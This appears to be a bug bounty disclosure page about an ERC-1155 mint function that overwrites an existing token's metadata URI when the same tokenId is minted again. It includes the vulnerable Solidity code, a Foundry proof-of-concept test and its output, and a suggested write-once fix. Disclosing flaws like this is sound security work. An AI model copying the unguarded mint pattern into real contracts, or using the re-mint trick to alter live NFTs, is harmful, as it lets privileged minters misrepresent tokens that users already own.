Skip to content
Business logic Audit finding Beginner

ERC1155Base re-mint overwrites token URI, allowing post-issuance NFT alteration / griefing

The ERC-1155 mint function sets the token URI unconditionally before minting, so minting an existing tokenId again silently replaces its metadata. An address holding the minter role could therefore rewrite what an already-issued NFT points to, enabling griefing and misrepresentation.

manvi Follow

Originally disclosed on Immunefi

Informational View original
  • Disclosed after under an hour

57902 sc insight erc1155base re mint overwrites token uri allowing post issuance nft alteration griefing

Submitted on Oct 29th 2025 at 12:18:36 UTC by @manvi for Audit Comp | Belong

Description

Brief / Intro

I analyzed the ERC-1155 flow and observed that calling mint(...) on an already-minted tokenId silently replaces its metadata URI. This allows any address with the MINTER_ROLE to rewrite what an NFT represents after it's in circulation, enabling griefing and breaking metadata immutability guarantees.

Vulnerability Details

Root cause is in contracts/v2/tokens/base/ERC1155Base.sol: mint unconditionally calls _setTokenUri(tokenId, tokenUri) before _mint, with no guard that the tokenId is new or that existing URIs are immutable.

function mint(address to, uint256 tokenId, uint256 amount, string calldata tokenUri)
    public
    onlyRoles(MINTER_ROLE)
{
    _setTokenUri(tokenId, tokenUri);   // <-- overwrites even if tokenId already exists
    _mint(to, tokenId, amount, "0x");
}

There is no "first-write wins" check (e.g., require empty URI) and no separate "set-once" path. As a result, any subsequent mint of the same tokenId lets the minter replace the URI at will.

Impact Details

  • Unintended alteration of what the NFT represents (token URI/content replacement) after distribution.
  • A malicious/compromised minter can vandalize metadata for already-owned tokens (e.g., point to broken/offensive content), harming users & brand.
  • If off-chain marketplaces assume immutability, this can cause trust and valuation issues.

References

  • Contract: contracts/v2/tokens/base/ERC1155Base.sol
  • Related state: _tokenUri[tokenId] set without immutability checks.

Proof of Concept

I have written a runnable POC to demonstrate this issue.

POC file location: poc/PoC_ERC1155_MetadataOverwrite.t.sol

What my POC does

  • Mints tokenId = 1 to a user with URI ipfs://original.
  • Re-mints the same tokenId = 1 to the same user with a different URI ipfs://malicious.
  • Asserts that uri(1) is now ipfs://malicious → metadata overwritten (griefing / misrepresentation).
<details> <summary>POC file content</summary>
Solidity
pragma solidity ^0.8.27;

import "forge-std/Test.sol";
import {CreditToken} from "contracts/v2/tokens/CreditToken.sol";
import {ERC1155Info} from "contracts/v2/Structures.sol";

/**
 * PoC: MINTER_ROLE can overwrite an existing token's metadata URI by     re-minting the same tokenId.
 * Impact: "Unintended alteration of what the NFT represents".
 */
contract PoC_ERC1155_MetadataOverwrite is Test {
    CreditToken internal credit;

    // Use only hex digits (0-9, a-f) in address literals.
    address admin   = address(0xA11CE);  // ok: hex
    address manager = address(0xA11A9E); // ok: hex
    address minter  = address(0xBEEF1);  // ok: hex
    address burner  = address(0xB0B01);  // ok: hex (replaces 0xB0RN0)
    address buyer   = address(0xCAFE0);  // ok: hex

    function setUp() public {
        vm.startPrank(admin);

        credit = new CreditToken();

        ERC1155Info memory info = ERC1155Info({
            defaultAdmin: admin,
            manager:      manager,
            minter:       minter,
            burner:       burner,
            uri:          "ipfs://COLLECTION-URI",
            transferable: true,
            name:         "Belong Credits",
            symbol:       "BLGCR"
        });

        credit.initialize(info);
        vm.stopPrank();
    }

    function test_overwrite_token_uri_of_existing_tokenId() public {
        uint256 tokenId = 1;

        // Initial mint sets "GOOD" metadata
        vm.prank(minter);
        credit.mint(buyer, tokenId, 1, "ipfs://GOOD-METADATA");
        assertEq(credit.uri(tokenId), "ipfs://GOOD-METADATA", "sanity: initial URI");

        // Re-mint SAME tokenId with a different URI - no manager role required
        vm.prank(minter);
        credit.mint(buyer, tokenId, 1, "ipfs://EVIL-METADATA");

        //  Vulnerable behavior: URI overwritten by MINTER_ROLE
        assertEq(credit.uri(tokenId), "ipfs://EVIL-METADATA", "URI should be overwritten by minter re-mint");
    }
}
</details>

Run My POC

<details> <summary>Commands to run POC</summary>
forge clean
forge test -vv --match-test overwrite_token_uri_of_existing_tokenId
</details>

My Console Output

<details> <summary>Output from running the test</summary>
[⠊] Compiling...
[⠃] Compiling 32 files with Solc 0.8.27
[⠊] Solc 0.8.27 finished in 7.94s
Compiler run successful!

Ran 1 test for      poc/PoC_ERC1155_MetadataOverwrite.t.sol:PoC_ERC1155_MetadataOver    write
[PASS] test_overwrite_token_uri_of_existing_tokenId() (gas: 84148)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.18ms (591.56µs    CPU time)
</details>

What my POC proves

  • Re-minting the same tokenId updates the internal _tokenUri[tokenId].
  • The NFT's displayed content can be changed after distribution by any address with MINTER_ROLE.
  • This enables unintended alteration of what the NFT represents and griefing.

Note: If there are any compatibility issues while running the POC please let me know.

The original report as published on Immunefi, by manvi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the mint function calls the internal URI setter unconditionally, with no check that the tokenId is new or that an existing URI is immutable.

Impact

A malicious or compromised minter could vandalise metadata of already-owned tokens, and marketplaces that assume immutability may suffer trust and valuation issues; the report notes no profit motive, so this is griefing.

What the attacker needed

An address holding the minter role

The fix

The mint path should reject re-minting an existing tokenId or only set the URI when none is set yet, so metadata is write-once.

How it was found

  1. Mint a tokenId to a user with an original URI.
  2. Re-mint the same tokenId with a different URI.
  3. Observe that the token's URI now returns the new value.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An NFT is a token whose metadata (usually a URI) says what it represents, such as an image or content link. Here the mint function writes that URI every time it is called, even for a token that already exists, so whoever can mint can change the content of tokens people already own. The report argues this breaks the expectation that an NFT's content stays fixed once issued.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by manvi

View all

26 more disclosed reports, best first.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.